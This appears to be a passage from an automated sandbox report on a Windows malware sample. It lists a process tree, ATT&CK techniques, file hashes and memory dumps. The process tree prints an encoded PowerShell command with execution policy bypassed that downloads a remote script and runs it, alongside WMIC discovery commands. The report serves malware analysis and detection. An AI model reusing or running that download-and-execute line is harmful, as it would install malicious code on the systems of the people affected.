    PID:3992

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1864
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4084

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:5032
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5096

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:3048
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:4052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1396

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Web Service

T1102

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RES71E9.tmp

Filesize
1KB

MD5
ccf32c37960fa13ae0fec17953e813c9

SHA1
be99628b1a47568b07064c1a456936e36907d4d1

SHA256
ce27bacec3b0045819d5318bd6171a9ff0f0a3f1a90a1e0cb01dbfa957f8d6f7

SHA512
b436fce8bf5db13ba52643960cfec94c0d2212be0e3eb82748ea78876b6ce4170cff6fa751f8aee5f92ea18ed43b879950322ff24eef3b7f44d24c835851fbf5

Download Submit
C:\Users\Admin\AppData\Local\Temp\eiwfpkti\eiwfpkti.dll

Filesize
3KB

MD5
0b65567a80bbdee04c82e07cd53549d3

SHA1
0cb8374a821ea49bfbb9615f430100c3cc9d7f95

SHA256
28610e90815b60ff3678359f154b62fe17ecb81a5aca2ec5f675727fd203a0e9

SHA512
30a5bc670393c294249672c24bef22ca9e7607606a73b9b7f5229aab4d239c80196ba77587605a5234373882b42779e8e43600848f6c9870dae7e5886e64aaa8

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-points.ps1

Filesize
3.0MB

MD5
bcac3bbb18f093dbc8e5e76d2675695f

SHA1
96453f65b41e428937349e6f48fe67d6dfd6a580

SHA256
b25768626991b9a33e3ada79e3beb92fa5d83e1b50f2820e6fa2d6cf4827b21a

SHA512
78c55502c7d0484b458fadb78bc075b8eda01b794e2037283df11dc58105bd632c0e747e92fd7aac7b79c5ac0ddce9bb2c6e7ce158c743c9f080a52eda0498ab

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-points.zip

Filesize
2.3MB

MD5
42c2a160d2d191e6ffcc1076b4734ee2

SHA1
c8a71ddb77c6bad039fbb041bbf7ea2021ca9d49

SHA256
2b8aebe68161f07e7029bac05eeeb009455553731baf60b447d0d4aaa9fded99

SHA512
3b9de3ad6cbe4db3958564b4bd37a45e6aa3a62a4a6e6756d6e997a9cc9c2dca31053e9e0aa300c1660b72332eb1f677f6b65762825ac68a99a55d06043e0939

Download Submit
C:\Windows\Branding\mediasrv.png

Filesize
55KB

MD5
f357d4e7b83bc0a41c65d97f3e6f50f4

SHA1
71db3180a8ada6d5d7722c54a5940c3490f78636

SHA256
db0b525a0871cd413d9e1e4a31568b10344aa996823a22e85179ea4dab11afba

SHA512
566bc45578f2754b4330fc2721d24aef95ae25ef258d56b00c8cb585061f89386a5d27245d301ea0d479797a42f0487605c294008a6d33559634b5e35f4b4e8e

Download Submit
C:\Windows\Branding\mediasvc.png

Filesize
944KB

MD5
d5de6f599d9807bac2f5a8e751a8c38f

SHA1
9e70edf56b6a5768fda84232e9c557e750d3631b

SHA256
18207938b456352ad540ed62fb113b7b11025a6d2b1de08728772c24c8553fca

SHA512
e526e3a75be31762bb5fc01f4450ff48391fe36a1e71aef6a89d3f262e523e2f7654501f43667a3e982a05835418e72ae26ec3ba955b8537a700e69e82337fc5

Download Submit
C:\Windows\system32\rfxvmt.dll

Filesize
40KB

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\eiwfpkti\CSCA10D5860B8DC477ABDC22D5543F96EEA.TMP

Filesize
652B

MD5
ee3e1cf8d5cef3c17709d123a07fc611

SHA1
36580788a8647966079a0a4f2acb5059246001e9

SHA256
ef6fe1a2a6835ec5ee67f51dd5f643617f87e3ab68c3cc491b51431b248da0f6

SHA512
f14033a91444e4850a602ca154fc7aa78a9c349057e759e0cbf09b8bedd6b98c87eaa2169a1369cc85161e158845ba0f01404ec3e9e5282e1d327dc943bacd21

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\eiwfpkti\eiwfpkti.0.cs

Filesize
507B

MD5
6f235215132cdebacd0f793fe970d0e3

SHA1
2841e44c387ed3b6f293611992f1508fe9b55b89

SHA256
ccad602538354ee5bbc78ab935207c36ba9910da1a7b5a10ff455e34e15f15ec

SHA512
a14657bc5be862a96c1826347b551e07b47ffa6ffd7e12fbfc3437b9a48e8b8e020ae71b8ef836c357d9db6c065da962a6141272d9bc58b76a9eb9c11553d44e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\eiwfpkti\eiwfpkti.cmdline

Filesize
369B

MD5
8e24fd6f5ac8b1eb3a253fc20a2ea9dc

SHA1
b5124f5fa15e96bfd8dd7697622f5c5ed974604d

SHA256
7133f5f554f9101b8ef01b05ef332850f4e8cce4d3f33810f87e314ac6131182

SHA512
0b95cae716aec931bd93810157ca1b31571c4709529fc87db6dde773bc87f718f454758bde78068c606f318c1bd4eaaa2efe9815b30fc52e25366b13d58b0d2b

Download Submit
memory/228-147-0x0000000000000000-mapping.dmp

Download
memory/396-167-0x0000000000000000-mapping.dmp

Download
memory/480-163-0x0000000000000000-mapping.dmp

Download
memory/616-152-0x0000000000000000-mapping.dmp

Download
memory/824-156-0x0000000000000000-mapping.dmp

Download
memory/864-176-0x0000000000000000-mapping.dmp

Download
memory/984-149-0x0000000000000000-mapping.dmp

Download
memory/1072-162-0x0000000000000000-mapping.dmp

Download
memory/1096-166-0x0000000000000000-mapping.dmp

Download
memory/1200-164-0x0000000000000000-mapping.dmp

Download
memory/1396-190-0x000001B665B66000-0x000001B665B68000-memory.dmp

Filesize
8KB

Download
memory/1396-188-0x000001B665B60000-0x000001B665B62000-memory.dmp

Filesize
8KB

Download
memory/1396-186-0x0000000000000000-mapping.dmp

Download
memory/1396-187-0x00007FFDD3A60000-0x00007FFDD4521000-memory.dmp

Filesize
10.8MB

Download
memory/1396-189-0x000001B665B63000-0x000001B665B65000-memory.dmp

Filesize
8KB

Download
memory/1420-165-0x0000000000000000-mapping.dmp

Download
memory/2156-154-0x0000000000000000-mapping.dmp

Download
memory/2256-175-0x0000000000000000-mapping.dmp

Download
memory/2624-173-0x0000000000000000-mapping.dmp

Download
memory/2704-181-0x0000000000000000-mapping.dmp

Download
memory/2872-158-0x0000000000000000-mapping.dmp

Download
memory/3232-155-0x0000000000000000-mapping.dmp

Download
memory/3392-168-0x0000000000000000-mapping.dmp

Download
memory/3548-150-0x0000000000000000-mapping.dmp

Download
memory/3748-151-0x0000000000000000-mapping.dmp

Download
memory/3756-177-0x0000000000000000-mapping.dmp

Download
memory/3836-180-0x0000000000000000-mapping.dmp

Download
memory/3980-130-0x000000000278A000-0x0000000002AC7000-memory.dmp

Filesize
3.2MB

Download
memory/3980-132-0x0000000002AD0000-0x0000000002F7C000-memory.dmp

Filesize
4.7MB

Download
memory/3980-131-0x0000000000040000-0x00000000004F8000-memory.dmp

Filesize
4.7MB

Download
memory/3992-182-0x0000000000000000-mapping.dmp

Download
memory/4028-192-0x0000000000000000-mapping.dmp

Download
memory/4052-185-0x0000000000000000-mapping.dmp

Download
memory/4068-160-0x0000000000000000-mapping.dmp

Download
memory/4084-183-0x0000000000000000-mapping.dmp

Download
memory/4088-161-0x0000000000000000-mapping.dmp

Download
memory/4092-157-0x0000000000000000-mapping.dmp

Download
memory/4272-178-0x0000000000000000-mapping.dmp

Download
memory/4412-174-0x0000000000000000-mapping.dmp

Download
memory/4588-179-0x0000000000000000-mapping.dmp

Download
memory/4596-153-0x0000000000000000-mapping.dmp

Download
memory/4604-171-0x0000000000000000-mapping.dmp

Download
memory/4744-133-0x0000000000000000-mapping.dmp

Download
memory/4744-134-0x0000019B3EB10000-0x0000019B3EB32000-memory.dmp

Filesize
136KB

Download
memory/4744-136-0x00007FFDD3A60000-0x00007FFDD4521000-memory.dmp

Filesize
10.8MB

Download
memory/4744-137-0x0000019B3D210000-0x0000019B3D212000-memory.dmp

Filesize
8KB

Download
memory/4744-139-0x0000019B3D216000-0x0000019B3D218000-memory.dmp

Filesize
8KB

Download
memory/4744-138-0x0000019B3D213000-0x0000019B3D215000-memory.dmp

Filesize
8KB

Download
memory/4756-172-0x0000000000000000-mapping.dmp

Download
memory/4860-159-0x0000000000000000-mapping.dmp

Download
memory/4900-140-0x0000000000000000-mapping.dmp

Download
memory/5016-193-0x0000000000000000-mapping.dmp

Download
memory/5096-184-0x0000000000000000-mapping.dmp

Download
memory/5096-143-0x0000000000000000-mapping.dmp

Download